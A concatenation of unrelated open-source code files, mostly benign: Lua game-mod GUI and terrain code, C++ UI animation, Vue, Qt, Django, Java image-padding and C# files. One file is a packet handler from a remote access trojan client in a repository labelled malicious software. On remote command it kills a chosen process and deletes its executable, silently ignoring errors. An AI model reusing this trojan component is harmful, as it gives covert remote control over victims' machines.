addEventHandler ( "onClientGUIClick", radioImg, _onRadioImageClick, false )
addEventHandler ( "onClientMouseEnter", radioImg, _onRadioImageEnter, false )
addEventHandler ( "onClientMouseLeave", radioImg, _onRadioImageLeave, false )
-- Сбрасываем выделение предыдущей кнопки
local prevSplitBtn = _radioImgSplit [ g_RadioImageSplit ]
if isElement ( prevSplitBtn ) then
local prevPath = getElementData ( prevSplitBtn, "path" )
guiStaticImageLoadImage ( prevSplitBtn, prevPath .. "_n.png" )
end
_radioImgSplit [ g_RadioImageSplit ] = radioImg
return radioImg
end
end
function guiRadioImageSetSplit ( name )
g_RadioImageSplit = name
end
function guiRadioImageSetSelected ( image, silence )
local splitName = getElementData ( image, "split" )
-- Сбрасываем выделение предыдущей кнопки
local prevSplitBtn = _radioImgSplit [ splitName ]
if isElement ( prevSplitBtn ) then
local prevPath = getElementData ( prevSplitBtn, "path" )
guiStaticImageLoadImage ( prevSplitBtn, prevPath .. "_n.png" )
end
-- Выделяем нашу новую кнопку
local path = getElementData ( image, "path" )
guiStaticImageLoadImage ( image, path .. "_d.png" )
_radioImgSplit [ splitName ] = image
if silence ~= true then
triggerEvent ( "onClientGUIImageSwitch", image, splitName, prevSplitBtn )
end
end
--[[
BuildOrder
]]
BuildOrder = {
threads = { },
index = 0,
current = 1,
progress = 0
}
function BuildOrder.create ( callback )
BuildOrder.callback = callback
end
function BuildOrder.wrap ( fn, ... )
BuildOrder.index = BuildOrder.index + 1
-- Если рабочий поток у нас свободен, используем его для обработки
if BuildOrder.cr == nil then
BuildOrder.cr = coroutine.create ( fn )
local ok, progress = coroutine.resume ( BuildOrder.cr, ... )
if coroutine.status ( BuildOrder.cr ) ~= "dead" then
BuildOrder.lastTime = getTickCount ( )
BuildOrder.threads [ BuildOrder.index ] = true
addEventHandler ( "onClientRender", root, BuildOrder.update, false )
else
if type ( BuildOrder.callback ) == "function" then
BuildOrder.callback ( BuildOrder.current )
end
end
else
local threadData = {
fn = fn,
args = { ... }
}
BuildOrder.threads [ BuildOrder.index ] = threadData
end
return BuildOrder.index
end
function BuildOrder.update ( )
local now = getTickCount ( )
if now - BuildOrder.lastTime < GEN_TIME then
return
end
BuildOrder.lastTime = now
if coroutine.status ( BuildOrder.cr ) ~= "dead" then
local ok, progress = coroutine.resume ( BuildOrder.cr )
if coroutine.status ( BuildOrder.cr ) ~= "dead" then
BuildOrder.progress = progress
end
else
-- Удаляем текущий поток
BuildOrder.threads [ BuildOrder.current ] = nil
if type ( BuildOrder.callback ) == "function" then
BuildOrder.callback ( BuildOrder.current )
end
-- Перескакиваем на следующий
BuildOrder.current = BuildOrder.current + 1
local threadData = BuildOrder.threads [ BuildOrder.current ]
if threadData then
BuildOrder.cr = coroutine.create ( threadData.fn )
coroutine.resume ( BuildOrder.cr, unpack ( threadData.args ) )
else
removeEventHandler ( "onClientRender", root, BuildOrder.update )
BuildOrder.cr = nil
end
end
end
--[[
Heightfield
]]
Heightfield = {
resolutionX = 0,
resolutionY = 0,
vertScale = 0,
vertOffset = 0,
horScale = 0
}
local heightData = { }
local function getRawHeight ( x, y )
x = math.max ( math.min ( x, Heightfield.resolutionX-1 ), 0 )
y = math.max ( math.min ( y, Heightfield.resolutionY-1 ), 0 )
local height = Heightfield.getLevel ( x, y )
return height
end
function Heightfield.fill ( x, y, width, height, data )
for j = 0, height-1 do
for i = 0, width-1 do
local index = j * Heightfield.resolutionX + i
local level = data [ index + 1 ]
Heightfield.setLevel ( x + i, y + j, level )
end
end
end
function Heightfield.smooth ( cb )
local resolutionX = Heightfield.resolutionX
local resolutionY = Heightfield.resolutionY
local totalSize = size^2
local count = 0
local check = 0
for y = 0, resolutionY - 1 do
for x = 0, resolutionX - 1 do
local smoothedHeight = (
getRawHeight(x-1, y-1) + getRawHeight(x,y-1) * 2 + getRawHeight(x+1,y-1) +
getRawHeight(x-1,y) * 2 + getRawHeight(x,y) * 4 + getRawHeight(x+1,y) * 2 +
getRawHeight(x-1,y+1) + getRawHeight(x,y+1) * 2 + getRawHeight(x+1,y+1)
) / 16
Heightfield.setLevel ( y, x, smoothedHeight )
count = count + 1
if count == totalSize and type ( cb ) == "function" then
cb ( )
end
check = check + 1
if check > 10000 then
check = 0
outputChatBox ( math.floor ( ( count / totalSize ) * 100 ) .. "%" )
setTimer ( function ( ) coroutine.resume ( g_SmoothCr ) end, 50, 1 )
coroutine.yield ( )
end
end
end
end
function Heightfield.getLevel ( x, y )
local index = y * Heightfield.resolutionX + x
local level = heightData [ index + 1 ]
if level == nil then
outputDebugString ( "Не найдено позиции " .. x ..", " .. y .. ". Возможно карта еще не принята.", 2 )
return
end
return level
end
function Heightfield.setLevel ( x, y, level )
local index = y * Heightfield.resolutionX + x
heightData [ index + 1 ] = level
end
function Heightfield.getRawNormal ( x, y )
local baseHeight = getRawHeight ( x, y )
local nSlope = getRawHeight(x, y - 1) - baseHeight
local neSlope = getRawHeight(x + 1, y - 1) - baseHeight
local eSlope = getRawHeight(x + 1, y) - baseHeight
local seSlope = getRawHeight(x + 1, y + 1) - baseHeight
local sSlope = getRawHeight(x, y + 1) - baseHeight
local swSlope = getRawHeight(x - 1, y + 1) - baseHeight
local wSlope = getRawHeight(x - 1, y) - baseHeight
local nwSlope = getRawHeight(x - 1, y - 1) - baseHeight
local up = 0.5 * (1 + 1)
local result = Vector3 ( 0, nSlope, up ) +
Vector3 ( -neSlope, neSlope, up ) +
Vector3 ( -eSlope, 0, up ) +
Vector3 ( -seSlope, -seSlope, up ) +
Vector3 ( 0, -sSlope, up ) +
Vector3 ( swSlope, -swSlope, up ) +
Vector3 ( wSlope, 0, up ) +
Vector3 ( nwSlope, nwSlope, up )
result:normalize ( )
return result
end
function Heightfield.getHeight ( px, py )
local worldSizeX = SECTOR_SIZE * WORLD_SIZE_X
local worldSizeY = SECTOR_SIZE * WORLD_SIZE_Y
local deltaX = ( px - xrStreamerWorld.worldX ) / worldSizeX
local deltaY = ( xrStreamerWorld.worldY - py ) / worldSizeY
local borderX = Heightfield.resolutionX - WORLD_SIZE_X * MAP_SIZE
local borderY = Heightfield.resolutionY - WORLD_SIZE_Y * MAP_SIZE
local pixelX, pixelY = deltaX * ( Heightfield.resolutionX - borderX ), deltaY * ( Heightfield.resolutionY - borderY )
local fracX, fracY = pixelX - math.floor ( pixelX ), pixelY - math.floor ( pixelY )
local h1, h2, h3
if fracX + fracY >= 1 then
h1 = Heightfield.getLevel ( math.floor ( pixelX ) + 1, math.floor ( pixelY ) + 1 )
h2 = Heightfield.getLevel ( math.floor ( pixelX ), math.floor ( pixelY ) + 1 )
h3 = Heightfield.getLevel ( math.floor ( pixelX ) + 1, math.floor ( pixelY ) )
fracX = 1 - fracX
fracY = 1 - fracY
else
h1 = Heightfield.getLevel ( math.floor ( pixelX ), math.floor ( pixelY ) )
h2 = Heightfield.getLevel ( math.floor ( pixelX ) + 1, math.floor ( pixelY ) )
h3 = Heightfield.getLevel ( math.floor ( pixelX ), math.floor ( pixelY ) + 1 )
end
return h1 * ( 1 - fracX - fracY ) + h2 * fracX + h3 * fracY
end
function Heightfield.set ( tbl )
heightData = tbl
end
function Heightfield.getMaxElevation ( )
return math.floor ( 299 * Heightfield.vertScale )
end | gpl-3.0 |
nE0sIghT/s25client | libs/s25main/animation/Animation.cpp | 7118 | // Copyright (c) 2017 - 2017 Settlers Freaks (sf-team at siedler25.org)
//
// This file is part of Return To The Roots.
//
// Return To The Roots is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// Return To The Roots is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Return To The Roots. If not, see <http://www.gnu.org/licenses/>.
#include "Animation.h"
#include "Window.h"
Animation::Animation(Window* element, unsigned numFrames, unsigned frameRate, RepeatType repeat)
: elementId_(element->GetID()), numFrames_(numFrames), frameRate_(frameRate), repeat_(repeat), lastTime_(0),
curFrame_(0), countUp_(true), skipType_(SKIP_FRAMES), hasStarted_(false)
{
// We need at least 2 frames: current state and next state
RTTR_Assert(numFrames_ > 1);
RTTR_Assert(frameRate_ > 0);
}
Animation::~Animation() = default;
void Animation::setFrameRate(unsigned frameRate)
{
RTTR_Assert(frameRate > 0u);
frameRate_ = frameRate;
}
void Animation::setNumFrames(unsigned numFrames)
{
RTTR_Assert(numFrames > 1u);
numFrames_ = numFrames;
if(curFrame_ >= numFrames_)
curFrame_ = numFrames_ - 1u;
}
void Animation::update(unsigned time, Window* parent)
{
RTTR_Assert(!isFinished());
// First update: Just set time
if(!hasStarted_)
{
// Initialize and start
curFrame_ = 0u;
lastTime_ = time;
countUp_ = true;
hasStarted_ = true;
} else
{
unsigned passedTime = time - lastTime_;
// Next frame not there -> Out
if(passedTime < frameRate_)
return;
advanceFrames(passedTime);
}
unsigned remainingTime = time - lastTime_;
execFrame(parent, remainingTime);
}
void Animation::execFrame(Window* parent, unsigned remainingTime)
{
RTTR_Assert(curFrame_ < numFrames_);
RTTR_Assert(remainingTime < frameRate_);
auto* element = parent->GetCtrl<Window>(elementId_);
// Element missing -> Done
if(!element)
{
repeat_ = RPT_None;
countUp_ = true;
curFrame_ = numFrames_ - 1u;
}
// Do not overshoot on last frame unless we are in oscillate mode
if(isLastFrame() && repeat_ != RPT_Oscillate && (repeat_ != RPT_OscillateOnce || !countUp_))
remainingTime = 0;
doUpdate(element, static_cast<double>(remainingTime) / static_cast<double>(frameRate_));
}
bool Animation::isLastFrame() const
{
return (countUp_ && curFrame_ + 1 >= numFrames_) || (!countUp_ && curFrame_ == 0);
}
double Animation::getCurLinearInterpolationFactor(double nextFramepartTime) const
{
if(!countUp_)
nextFramepartTime = -nextFramepartTime;
double result = (getCurFrame() + nextFramepartTime) / (getNumFrames() - 1u);
RTTR_Assert(result >= 0. && result <= 1.);
return result;
}
void Animation::advanceFrames(unsigned passedTime)
{
unsigned numFramesPassed = passedTime / frameRate_;
if(numFramesPassed > 1u)
{
if(skipType_ == SKIP_TIME)
{
// Advance time by the full passed time less 1 frame
// Add 1ms so the next frame is just not due yet
lastTime_ += passedTime - frameRate_ + 1;
// Play one frame
numFramesPassed = 1u;
} else
{
// Advance time by full frames passed
lastTime_ += numFramesPassed * frameRate_;
if(repeat_ == RPT_None)
{
// Maximum number of frames passed are the number of remaining frames
numFramesPassed = std::min(numFramesPassed, numFrames_ - 1 - curFrame_);
} else if(repeat_ == RPT_Repeat)
{
// We can reduce the number of passed frames by full cycles
// So passing 6 frames on an animation with 5 frames is the same as just passing 1 frame
numFramesPassed = numFramesPassed % numFrames_;
} else if(repeat_ == RPT_Oscillate)
{
// Oscillate is similar to repeat but we have twice as many frames less one (last is not played twice)
numFramesPassed = numFramesPassed % (numFrames_ * 2u - 2u);
} else
{
// Maximum number of frames passed are the number of remaining frames
unsigned numFramesLeft = (countUp_) ? numFrames_ * 2u - 2u - curFrame_ : curFrame_;
numFramesPassed = std::min(numFramesPassed, numFramesLeft);
}
}
} else
{
// Advance time by one frame
lastTime_ += frameRate_;
}
for(unsigned i = 0; i < numFramesPassed; i++)
advanceFrame();
}
void Animation::advanceFrame()
{
if(countUp_)
{
curFrame_++;
if(curFrame_ >= numFrames_)
{
RTTR_Assert(repeat_ != RPT_None);
if(repeat_ == RPT_Oscillate || repeat_ == RPT_OscillateOnce)
{
countUp_ = false;
curFrame_ = numFrames_ - 2u;
} else
curFrame_ = 0u;
}
} else
{
if(curFrame_ == 0)
{
RTTR_Assert(repeat_ != RPT_None && repeat_ != RPT_OscillateOnce);
if(repeat_ == RPT_Oscillate)
{
countUp_ = true;
curFrame_ = 1u;
} else
curFrame_ = numFrames_ - 1u;
} else
curFrame_--;
}
if((repeat_ == RPT_Oscillate && isLastFrame()) || (repeat_ == RPT_OscillateOnce && curFrame_ + 1u >= numFrames_))
countUp_ = !countUp_;
}
void Animation::finish(Window* parent, bool finishImmediately)
{
if(repeat_ == RPT_Repeat)
repeat_ = RPT_None;
else if(repeat_ == RPT_Oscillate)
repeat_ = RPT_OscillateOnce;
if(!hasStarted_)
{
// When we haven't started yet, just execute the last frame immediately
if(repeat_ == RPT_OscillateOnce)
{
curFrame_ = 0u;
countUp_ = false;
} else
curFrame_ = numFrames_ - 1u;
hasStarted_ = true;
execFrame(parent, 0u);
return;
}
// Finish immediately if we are at the start/end
if(repeat_ == RPT_OscillateOnce && curFrame_ == 0u)
countUp_ = false;
if(!finishImmediately || isFinished())
return;
if(repeat_ == RPT_None)
curFrame_ = numFrames_ - 1u;
else
{
curFrame_ = 0u;
countUp_ = false;
}
execFrame(parent, 0u);
}
bool Animation::isFinished() const
{
if(repeat_ == RPT_None)
return isLastFrame();
else if(repeat_ == RPT_OscillateOnce)
return !countUp_ && curFrame_ == 0;
else
return false;
}
| gpl-3.0 |
lovely-doge/Malicious-Software | RAT/DarkAgent_RAT/DarkAgent Client/src/Network/DataNetwork/Packets/Receive/R_KillProcess.cs | 1265 | using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.IO;
namespace DarkAgent_Client.src.Network.DataNetwork.Packets.Receive
{
public class R_KillProcess : ReceiveBasePacket
{
public R_KillProcess(ClientConnect client, byte[] packet)
: base(client, packet)
{
}
private int PID;
private byte Force;
private byte DeleteFile;
public override void Read()
{
PID = ReadInteger();
Force = ReadByte();
DeleteFile = ReadByte();
}
public override void Run()
{
KillProcess(PID, Convert.ToBoolean(Force), Convert.ToBoolean(DeleteFile));
}
public void KillProcess(int PID, bool Force, bool DeleteFile)
{
try
{
Process proc = Process.GetProcessById(PID);
if (Force)
proc.Kill();
else
proc.CloseMainWindow();
if (DeleteFile)
{
proc.WaitForExit();
File.Delete(proc.MainModule.FileName.ToString());
}
}catch{}
}
}
}
| gpl-3.0 |
MsDacia/msdacia | projects/vue/src/main.ts | 1032 | import Vue from 'vue'
import VueFire from 'vuefire'
import VueAnalytics from 'vue-analytics'
import VueRouter from 'vue-router'
import '@/vendor/font-awesome/css/all.css'
import '@/vendor/semantic-ui/semantic.min.js'
import '@/vendor/semantic-ui/semantic.min.css'
import '../node_modules/hover.css/css/hover-min.css'
import App from './routes/app.vue'
import routes from './routes'
Vue.config.productionTip = false
Vue.use(VueRouter)
const router = new VueRouter({
routes,
linkActiveClass: 'active'
})
// load vue plug-ins
Vue.use(VueFire)
Vue.use<VueAnalytics.Options>(VueAnalytics, {
id: 'UA-110464609-1',
checkDuplicatedScript: true,
router,
autoTracking: {
untracked: true,
pageviewOnLoad: true,
pageviewTemplate(route) {
return {
location: window.location.href,
page: route.path,
title: document.title,
}
},
shouldRouterUpdate(to, from) {
return to.path !== from.path
}
}
})
// set up router and app
new Vue({
components: { App },
el: '#app',
router,
template: '<app />'
})
| gpl-3.0 |
wast-drumster/TheClick | src/QtTheClick/src/widgets/svgtoggleswitch/qtsvgtoggleswitch.cpp | 3434 | /*
** Copyright (C) 2012 Sebastian Roeglinger <wast.drumster@gmail.com>
**
** This file is part of TheClick.
**
** TheClick is free software: you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** TheClick is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with TheClick. If not, see <http://www.gnu.org/licenses/>.
*/
#include <QtSvg/QSvgRenderer>
#include <QtGui/QPainter>
#include "qtsvgtoggleswitch.h"
QtSvgToggleSwitch::QtSvgToggleSwitch(QWidget * parent) : QAbstractButton(parent)
{
//initialize attriutes
m_rendererButtonOffNormal = new QSvgRenderer(this);
m_rendererButtonOnNormal = new QSvgRenderer(this);
m_rendererButtonOffHovered = new QSvgRenderer(this);
m_rendererButtonOnHovered = new QSvgRenderer(this);
m_rendererButtonOffPressed = new QSvgRenderer(this);
m_rendererButtonOnPressed = new QSvgRenderer(this);
//trigger repaint on enter and leave event
setAttribute(Qt::WA_Hover, true);
//adapt configuration
setCheckable(true);
}
QtSvgToggleSwitch::~QtSvgToggleSwitch()
{
}
void QtSvgToggleSwitch::setSkin(const QString& skin)
{
//initialize attributes
m_skin = skin;
//load skins
const QString base = ":/skins/" + skin + '/';
m_rendererButtonOffNormal->load(base + "off_normal.svg");
m_rendererButtonOnNormal->load(base + "on_normal.svg");
m_rendererButtonOffHovered->load(base + "off_hovered.svg");
m_rendererButtonOnHovered->load(base + "on_hovered.svg");
m_rendererButtonOffPressed->load(base + "off_pressed.svg");
m_rendererButtonOnPressed->load(base + "on_pressed.svg");
//update geometry for new sizeHint and repaint
updateGeometry();
update();
}
QString QtSvgToggleSwitch::skin() const
{
return m_skin;
}
QRect QtSvgToggleSwitch::buttonRect() const
{
// Keep aspect ratio, always aligned to the left.
// Later, if a label can be shown to the right
QSize buttonSize = m_rendererButtonOffNormal->defaultSize();
buttonSize.scale(size(), Qt::KeepAspectRatio);
return QRect(QPoint(0, 0), buttonSize);
}
void QtSvgToggleSwitch::paintEvent(QPaintEvent * event)
{
Q_UNUSED(event);
QPainter painter(this);
if ( !isChecked() )
{
if( isDown() )
m_rendererButtonOffPressed->render(&painter, buttonRect());
else if( !underMouse() )
m_rendererButtonOffNormal->render(&painter, buttonRect());
else
m_rendererButtonOffHovered->render(&painter, buttonRect());
}
else
{
if( isDown() )
m_rendererButtonOnPressed->render(&painter, buttonRect());
else if( !underMouse() )
m_rendererButtonOnNormal->render(&painter, buttonRect());
else
m_rendererButtonOnHovered->render(&painter, buttonRect());
}
}
QSize QtSvgToggleSwitch::sizeHint() const
{
if (m_rendererButtonOnNormal->isValid()) {
return m_rendererButtonOnNormal->defaultSize();
} else {
return QAbstractButton::sizeHint();
}
}
| gpl-3.0 |
GNS3/gns3-web-ui | src/app/cartography/converters/map/map-node-to-node-converter.ts | 1682 | import { Injectable } from '@angular/core';
import { MapNode } from '../../models/map/map-node';
import { Node } from '../../models/node';
import { Converter } from '../converter';
import { MapLabelToLabelConverter } from './map-label-to-label-converter';
import { MapPortToPortConverter } from './map-port-to-port-converter';
@Injectable()
export class MapNodeToNodeConverter implements Converter<MapNode, Node> {
constructor(private mapLabelToLabel: MapLabelToLabelConverter, private mapPortToPort: MapPortToPortConverter) {}
convert(mapNode: MapNode) {
const node = new Node();
node.node_id = mapNode.id;
node.command_line = mapNode.commandLine;
node.compute_id = mapNode.computeId;
node.console = mapNode.console;
node.console_host = mapNode.consoleHost;
node.console_type = mapNode.consoleType;
node.first_port_name = mapNode.firstPortName;
node.height = mapNode.height;
node.label = mapNode.label ? this.mapLabelToLabel.convert(mapNode.label) : undefined;
node.locked = mapNode.locked;
node.name = mapNode.name;
node.node_directory = mapNode.nodeDirectory;
node.node_type = mapNode.nodeType;
node.port_name_format = mapNode.portNameFormat;
node.port_segment_size = mapNode.portSegmentSize;
node.ports = mapNode.ports ? mapNode.ports.map((mapPort) => this.mapPortToPort.convert(mapPort)) : [];
node.project_id = mapNode.projectId;
node.status = mapNode.status;
node.symbol = mapNode.symbol;
node.symbol_url = mapNode.symbolUrl;
node.usage = mapNode.usage;
node.width = mapNode.width;
node.x = mapNode.x;
node.y = mapNode.y;
node.z = mapNode.z;
return node;
}
}
| gpl-3.0 |
mPowering/django-orb | orb/signals.py | 907 | """
Signal definitions for ORB
Should not contain any other handler or task functions
"""
import django.dispatch
from django.dispatch import Signal
resource_viewed = Signal(providing_args=["resource", "request", "type"])
resource_workflow = Signal(
providing_args=["request", "resource", "status", "notes", "criteria"])
resource_url_viewed = Signal(providing_args=["resource_url", "request"])
resource_file_viewed = Signal(providing_args=["resource_file", "request"])
search = Signal(
providing_args=["query", "no_results", "request", "type", "page"])
tag_viewed = Signal(providing_args=["tag", "request", "type", "data"])
user_registered = Signal(providing_args=["user", "request"])
resource_submitted = Signal(providing_args=["resource", "request"])
resource_rejected = django.dispatch.Signal(providing_args=["resource"])
resource_approved = django.dispatch.Signal(providing_args=["resource"])
| gpl-3.0 |
jamesnovak/CrmSvcUtilTS | Samples/CRMTypeScriptAxios/Properties/AssemblyInfo.cs | 1250 | using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("CRMTypeScriptAxios")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("CRMTypeScriptAxios")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("a817af91-c1fa-43e4-8b17-06fcf36b0908")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| gpl-3.0 |
Strachu/VirtualSlideViewer | src/virtualslideviewer/bioformats/PaddingCalculator.java | 8381 | /*
* Copyright (C) 2015 Patryk Strach
*
* This file is part of Virtual Slide Viewer.
*
* Virtual Slide Viewer is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software Foundation,
* either version 3 of the License, or (at your option) any later version.
*
* Virtual Slide Viewer is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with Virtual Slide Viewer.
* If not, see <http://www.gnu.org/licenses/>.
*/
package virtualslideviewer.bioformats;
import java.awt.Dimension;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.atomic.AtomicInteger;
import virtualslideviewer.UncheckedInterruptedException;
import virtualslideviewer.core.ImageIndex;
import virtualslideviewer.core.Tile;
import virtualslideviewer.core.VirtualSlideImage;
import virtualslideviewer.util.ByteArrayPool;
import virtualslideviewer.util.ParameterValidator;
import virtualslideviewer.util.ThreadPoolUtil;
/**
* Class used to calculate a padding of virtual slide's image.
*
* The main purpose of this class was to calculate the amount of padding in a .vsi file but since v.5.1.0 bioformats started to read real
* image size it is not needed anymore. It is kept nonetheless in case reading of some different format still behaves like reading
* .vsi file before version 5.1.0 of bioformats library.
*/
public class PaddingCalculator
{
private final ByteArrayPool mTileDataBufferPool = new ByteArrayPool();
private final ExecutorService mThreadPool;
public PaddingCalculator(ExecutorService threadPool)
{
ParameterValidator.throwIfNull(threadPool, "threadPool");
mThreadPool = threadPool;
}
/**
* Computes the padding of an image at specified resolution index.
*
* The function computes padding in border tiles, only if image size is aligned to tile size, which is true in the case of .vsi files.
* This function assumes that the padding has either pure white (255, 255, 255) or pure black (0, 0, 0) color.
* Only the padding for first image index at specified resolution index is computed as the padding should
* be the same regardless of channel, z plane and time point.
*
* @param image Image to compute padding for.
* @param resIndex Resolution index at which the padding should be computed.
*
* @return The padding of image in pixels.
*/
public Dimension computePadding(VirtualSlideImage image, int resIndex) throws UncheckedInterruptedException
{
ParameterValidator.throwIfNull(image, "image");
int horizontalPadding = computeHorizontalPadding(image, resIndex);
int verticalPadding = computeVerticalPadding(image, resIndex);
if(horizontalPadding == image.getTileSize(resIndex).width || verticalPadding == image.getTileSize(resIndex).height)
{
// There is no padding, it's just white or black image.
return new Dimension(0, 0);
}
return new Dimension(horizontalPadding, verticalPadding);
}
private int computeHorizontalPadding(VirtualSlideImage image, int resIndex) throws UncheckedInterruptedException
{
Dimension tileSize = image.getTileSize(resIndex);
Dimension imageSize = image.getImageSize(resIndex);
int tileColumns = imageSize.width / tileSize.width;
int tileRows = imageSize.height / tileSize.height;
if(imageSize.width % tileSize.width != 0)
return 0;
AtomicInteger maxPadding = new AtomicInteger(tileSize.width);
List<Callable<Void>> tasks = new ArrayList<Callable<Void>>();
for(int row = 0; row < tileRows; row++)
{
Tile tile = new Tile(tileColumns - 1, row, new ImageIndex(resIndex, 0, 0, 0));
tasks.add(new TilePaddingComputationTask(image, tile, maxPadding, this::addTileToMaxHorizontalPaddingCalculation));
}
ThreadPoolUtil.scheduleAndWait(mThreadPool, tasks);
return maxPadding.get();
}
private int addTileToMaxHorizontalPaddingCalculation(byte[] tileData, Dimension tileSize, int imageChannelCount, int maxPadding)
{
for(int y = 0; y < tileSize.height; y++)
{
for(int x = tileSize.width - 1; x >= tileSize.width - maxPadding; x--)
{
if(isPadding(tileData, x, y, tileSize.width, imageChannelCount))
{
maxPadding = tileSize.width - (x + 1);
break;
}
}
if(maxPadding == 0)
{
return 0;
}
}
return maxPadding;
}
private int computeVerticalPadding(VirtualSlideImage image, int resIndex) throws UncheckedInterruptedException
{
Dimension tileSize = image.getTileSize(resIndex);
Dimension imageSize = image.getImageSize(resIndex);
int tileColumns = imageSize.width / tileSize.width;
int tileRows = imageSize.height / tileSize.height;
if(imageSize.height % tileSize.height != 0)
return 0;
AtomicInteger maxPadding = new AtomicInteger(tileSize.height);
List<Callable<Void>> tasks = new ArrayList<Callable<Void>>();
for(int column = 0; column < tileColumns; column++)
{
Tile tile = new Tile(column, tileRows - 1, new ImageIndex(resIndex, 0, 0, 0));
tasks.add(new TilePaddingComputationTask(image, tile, maxPadding, this::addTileToMaxVerticalPaddingCalculation));
}
ThreadPoolUtil.scheduleAndWait(mThreadPool, tasks);
return maxPadding.get();
}
private int addTileToMaxVerticalPaddingCalculation(byte[] tileData, Dimension tileSize, int imageChannelCount, int maxPadding)
{
for(int x = 0; x < tileSize.width; x++)
{
for(int y = tileSize.height - 1; y >= tileSize.height - maxPadding; y--)
{
if(isPadding(tileData, x, y, tileSize.width, imageChannelCount))
{
maxPadding = tileSize.height - (y + 1);
break;
}
}
if(maxPadding == 0)
{
return 0;
}
}
return maxPadding;
}
private boolean isPadding(byte[] data, int x, int y, int width, int imageChannelCount)
{
// The 0s remove some entirely black tiles which one of the test samples of .vsi virtual slides had in lower right corner of image.
// It occured only at 3 highest resolutions and had increasing sizes, respectively, 1x1, 2x1 and 3x1 tiles.
int pixelIndex = (y * width + x) * imageChannelCount;
for(int c = 0; c < imageChannelCount; c++)
{
if(data[pixelIndex + c] != (byte)255 &&
data[pixelIndex + c] != (byte)0)
{
return true;
}
}
return false;
}
private interface PaddingCalculationStrategy
{
public int calculatePadding(byte[] imageData, Dimension imageSize, int imageChannelCount, int maxPadding);
}
private class TilePaddingComputationTask implements Callable<Void>
{
private final PaddingCalculationStrategy mCalculationStrategy;
private final VirtualSlideImage mImage;
private final AtomicInteger mMaxPadding;
private final Tile mTile;
private final Dimension mTileSize;
private final int mImageChannelCount;
public TilePaddingComputationTask(VirtualSlideImage image, Tile tile, AtomicInteger paddingReference, PaddingCalculationStrategy strategy)
{
ParameterValidator.throwIfNull(image, "image");
ParameterValidator.throwIfNull(paddingReference, "paddingReference");
ParameterValidator.throwIfNull(tile, "tile");
ParameterValidator.throwIfNull(strategy, "strategy");
mCalculationStrategy = strategy;
mImage = image;
mMaxPadding = paddingReference;
mTile = tile;
mTileSize = mTile.getBounds(mImage).getSize();
mImageChannelCount = (mImage.isRGB() ? 3 : 1);
}
@Override
public Void call()
{
if(mMaxPadding.get() == 0)
return null;
byte[] tileData = mTileDataBufferPool.borrow(mTileSize.width * mTileSize.height * mImageChannelCount);
{
mImage.getTileData(tileData, mTile);
int currentPadding = mCalculationStrategy.calculatePadding(tileData, mTileSize, mImageChannelCount, mMaxPadding.get());
mMaxPadding.accumulateAndGet(currentPadding, Math::min);
}
mTileDataBufferPool.putBack(tileData);
return null;
}
}
}
| gpl-3.0 |
bambit/BGallery | Website/CodeFiles/Controller/MetadataController.cs | 42966 | using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Threading.Tasks;
using GalleryServerPro.Business;
using GalleryServerPro.Business.Interfaces;
using GalleryServerPro.Business.Metadata;
using GalleryServerPro.Events.CustomExceptions;
namespace GalleryServerPro.Web.Controller
{
/// <summary>
/// Contains functionality for interacting with metadata.
/// </summary>
public static class MetadataController
{
#region Methods
/// <summary>
/// Gets the meta item with the specified <paramref name="id" />. Since the current API
/// cannot efficient look up the gallery object ID and type, those are included as required
/// parameters. They are assigned to the corresponding properties of the returned instance.
/// Verifies user has permission to view item, throwing <see cref="GallerySecurityException" />
/// if authorization is denied.
/// </summary>
/// <param name="id">The value that uniquely identifies the metadata item.</param>
/// <param name="galleryObjectId">The gallery object ID. It is assigned to
/// <see cref="Entity.MetaItem.MediaId" />.</param>
/// <param name="goType">Type of the gallery object. It is assigned to
/// <see cref="Entity.MetaItem.GTypeId" />.</param>
/// <returns>An instance of <see cref="Entity.MetaItem" />.</returns>
/// <exception cref="GallerySecurityException">Thrown when user does not have permission to
/// view the requested item.</exception>
/// <exception cref="InvalidMediaObjectException">Thrown when the requested meta item or its
/// associated media object does not exist in the data store.</exception>
/// <exception cref="InvalidAlbumException">Thrown when the album associated with the
/// meta item does not exist in the data store.</exception>
public static Entity.MetaItem Get(int id, int galleryObjectId, GalleryObjectType goType)
{
var md = Factory.LoadGalleryObjectMetadataItem(id);
if (md == null)
throw new InvalidMediaObjectException(String.Format("No metadata item with ID {0} could be found in the data store.", id));
// Security check: Make sure user has permission to view item
IGalleryObject go;
if (goType == GalleryObjectType.Album)
{
